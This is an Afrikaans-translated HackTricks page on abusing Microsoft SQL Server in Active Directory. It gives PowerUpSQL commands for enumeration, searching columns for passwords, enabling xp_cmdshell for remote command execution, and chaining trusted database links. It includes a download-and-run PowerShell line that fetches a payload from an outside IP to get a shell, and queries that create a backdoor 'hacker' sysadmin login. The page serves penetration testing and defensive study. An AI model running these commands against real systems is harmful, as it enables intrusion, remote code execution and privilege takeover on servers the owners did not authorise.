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201 lines
11 KiB
Markdown
201 lines
11 KiB
Markdown
# MSSQL AD Misbruik
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<details>
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<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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* Werk jy by 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
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* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks-opslag**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-opslag**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
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{% embed url="https://websec.nl/" %}
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## **MSSQL Opname / Ontdekking**
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Die powershell-module [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) is baie nuttig in hierdie geval.
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```powershell
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Import-Module .\PowerupSQL.psd1
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```
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### Enumereer van die netwerk sonder 'n domein-sessie
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```powershell
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# Get local MSSQL instance (if any)
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Get-SQLInstanceLocal
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Get-SQLInstanceLocal | Get-SQLServerInfo
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#If you don't have a AD account, you can try to find MSSQL scanning via UDP
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#First, you will need a list of hosts to scan
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Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads 10
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#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them
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#The discovered MSSQL servers must be on the file: C:\temp\instances.txt
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Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test
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```
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### Enumerering van binne die domein
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```powershell
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# Get local MSSQL instance (if any)
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Get-SQLInstanceLocal
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Get-SQLInstanceLocal | Get-SQLServerInfo
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#Get info about valid MSQL instances running in domain
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#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
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Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose
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#Test connections with each one
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Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose
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#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)
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Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
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# Get DBs, test connections and get info in oneliner
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Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo
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```
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## MSSQL Basiese Misbruik
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### Toegang tot DB
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```powershell
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#Perform a SQL query
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Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername"
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#Dump an instance (a lotof CVSs generated in current dir)
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Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"
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# Search keywords in columns trying to access the MSSQL DBs
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## This won't use trusted SQL links
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Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "password" -SampleSize 5 | select instance, database, column, sample | ft -autosize
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```
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### MSSQL RCE
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Dit mag ook moontlik wees om **bevele uit te voer** binne die MSSQL-gashuis
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```powershell
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Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
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# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
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```
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### MSSQL Basiese Hakkeltruuks
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{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %}
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[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
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{% endcontent-ref %}
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## MSSQL Vertroue Skakels
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As 'n MSSQL-instantie vertrou word (databasis skakel) deur 'n ander MSSQL-instantie. As die gebruiker voorregte het oor die vertroue databasis, sal hy in staat wees om **die vertrouensverhouding te gebruik om ook navrae in die ander instantie uit te voer**. Hierdie vertrouens kan geketting word en op 'n stadium mag die gebruiker 'n sleg gekonfigureerde databasis vind waar hy bevele kan uitvoer.
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**Die skakels tussen databasisse werk selfs oor bosvertrouens.**
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### Powershell Misbruik
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```powershell
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#Look for MSSQL links of an accessible instance
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Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0
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#Crawl trusted links, starting from the given one (the user being used by the MSSQL instance is also specified)
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Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Verbose
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#If you are sysadmin in some trusted link you can enable xp_cmdshell with:
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Get-SQLServerLinkCrawl -instance "<INSTANCE1>" -verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "<INSTANCE2>"'
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#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery field
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Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"
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#Obtain a shell
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Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"'
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#Check for possible vulnerabilities on an instance where you have access
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Invoke-SQLAudit -Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local"
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#Try to escalate privileges on an instance
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Invoke-SQLEscalatePriv –Verbose –Instance "SQLServer1\Instance1"
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#Manual trusted link queery
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Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select * from openquery(""sql2.domain.io"", 'select * from information_schema.tables')"
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## Enable xp_cmdshell and check it
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Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'SELECT * FROM OPENQUERY("sql2.domain.io", ''SELECT * FROM sys.configurations WHERE name = ''''xp_cmdshell'''''');'
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Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT [sql.rto.external]'
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Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT [sql.rto.external]'
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## If you see the results of @@selectname, it worked
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Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'
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```
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### Metasploit
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Jy kan maklik vir vertroude skakels kyk met Metasploit.
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```bash
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#Set username, password, windows auth (if using AD), IP...
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msf> use exploit/windows/mssql/mssql_linkcrawler
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[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
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```
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Merk op dat metasploit sal probeer om slegs die `openquery()`-funksie in MSSQL te misbruik (dus, as jy nie 'n bevel met `openquery()` kan uitvoer nie, sal jy die `EXECUTE`-metode **handmatig** moet probeer om bevele uit te voer, sien meer hieronder.)
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### Handmatig - Openquery()
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Vanaf **Linux** kan jy 'n MSSQL-konsole-skul met **sqsh** en **mssqlclient.py** verkry.
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Vanaf **Windows** kan jy ook die skakels vind en bevele handmatig uitvoer met 'n **MSSQL-klient soos** [**HeidiSQL**](https://www.heidisql.com)
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_Aanmelding met Windows-outentifisering:_
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.png>)
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#### Betroubare Skakels
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```sql
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select * from master..sysservers;
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EXEC sp_linkedservers;
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```
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.png>)
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#### Voer navrae uit in 'n betroubare skakel
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Voer navrae uit deur die skakel (voorbeeld: vind meer skakels in die nuut toeganklike instansie):
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```sql
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select * from openquery("dcorp-sql1", 'select * from master..sysservers')
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```
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{% hint style="warning" %}
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Kontroleer waar dubbelpunt en enkelkwotasies gebruik word, dit is belangrik om hulle op daardie manier te gebruik.
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{% endhint %}
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.png>)
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Jy kan hierdie vertroude skakelketting vir ewig handmatig voortgesit.
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```sql
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# First level RCE
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SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')
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# Second level RCE
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SELECT * FROM OPENQUERY("<computer1>", 'select * from openquery("<computer2>", ''select @@servername; exec xp_cmdshell ''''powershell -enc blah'''''')')
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```
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### Handleiding - UITVOER
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Jy kan ook vertroue skakels misbruik deur `UITVOER` te gebruik:
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```bash
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#Create user and give admin privileges
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EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
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EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
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```
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## Plaaslike Bevoorregte-escalasie
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Die **MSSQL plaaslike gebruiker** het gewoonlik 'n spesiale tipe bevoorregting genaamd **`SeImpersonatePrivilege`**. Dit laat die rekening toe om "‘n kliënt na outentifikasie te impersoneer".
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'n Strategie wat baie outeurs bedink het, is om 'n SISTEEM-diens te dwing om aan 'n bedrieglike of man-in-die-middel-diens te outentifiseer wat die aanvaller skep. Hierdie bedrieglike diens kan dan die SISTEEM-diens impersoneer terwyl dit probeer outentifiseer.
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[SweetPotato](https://github.com/CCob/SweetPotato) het 'n verskeidenheid van hierdie tegnieke wat uitgevoer kan word via Beacon se `execute-assembly` bevel.
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<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
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{% embed url="https://websec.nl/" %}
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<details>
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<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
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* Werk jy in 'n **cybersekerheidsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
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* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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